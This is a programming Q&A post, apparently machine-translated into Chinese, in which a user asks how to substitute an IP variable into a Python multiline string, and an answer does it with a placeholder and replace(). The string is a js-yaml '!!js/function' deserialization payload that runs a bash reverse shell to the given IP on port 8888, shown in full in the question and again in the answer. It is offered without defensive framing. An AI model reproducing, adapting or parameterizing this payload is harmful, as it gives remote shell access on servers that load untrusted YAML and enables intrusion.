包含特殊字符的参数化python多行字符串

monwx1rj  于 2021-08-20  发布在  Java
关注(0)|答案(1)|浏览(252)

此问题已在此处找到答案

如何在字符串中打印文字大括号字符并在其上使用.format((22个答案)
五小时前关门了。
我想使用变量而不是硬编码来更新以下python字符串的ip地址。

mystring = """
a: !!js/function >
    (
    function(){ 
    (
        function(){ 
        var require = global.require ||
        global.process.mainModule.constructor._load; 
        if (!require) return;
        const { exec } = require("child_process"); 
        exec("bash -c \\"bash -i >& /dev/tcp/127.0.0.1/8888 0>&1\\"", (error, stdout, stderr) => { 
        if (error) { 
            console.log(`error: ${error.message}`); 
            return; 
        } 
        if (stderr) { 
            console.log(`stderr: ${stderr}`); 
            return; 
        } 
        console.log(`stdout: ${stdout}`); 
        }); 
    })(); 
    })();
"""

我试图使用format(),但它给了我一个错误。我对其他原语持开放态度,只要我可以使用变量“ip”,mystring内容将根据实际字符串值“ip”更改127.0.0.1。
e、 例如,如果ip=“0.0.0.0”,则mystring变为

mystring = """
a: !!js/function >
    (
    function(){ 
    (
        function(){ 
        var require = global.require ||
        global.process.mainModule.constructor._load; 
        if (!require) return;
        const { exec } = require("child_process"); 
        exec("bash -c \\"bash -i >& /dev/tcp/0.0.0.0/8888 0>&1\\"", (error, stdout, stderr) => { 
        if (error) { 
            console.log(`error: ${error.message}`); 
            return; 
        } 
        if (stderr) { 
            console.log(`stderr: ${stderr}`); 
            return; 
        } 
        console.log(`stdout: ${stdout}`); 
        }); 
    })(); 
    })();
"""
puruo6ea

puruo6ea1#

干得好:

ip = "0.0.0.0"
mystring = """
a: !!js/function >
    (
    function(){ 
    (
        function(){ 
        var require = global.require ||
        global.process.mainModule.constructor._load; 
        if (!require) return;
        const { exec } = require("child_process"); 
        exec("bash -c \\"bash -i >& /dev/tcp/{PLACEHOLDER}/8888 0>&1\\"", (error, stdout, stderr) => { 
        if (error) { 
            console.log(`error: ${error.message}`); 
            return; 
        } 
        if (stderr) { 
            console.log(`stderr: ${stderr}`); 
            return; 
        } 
        console.log(`stdout: ${stdout}`); 
        }); 
    })(); 
    })();
"""
new_string = mystring.replace('{PLACEHOLDER}', ip)
print(new_string)

相关问题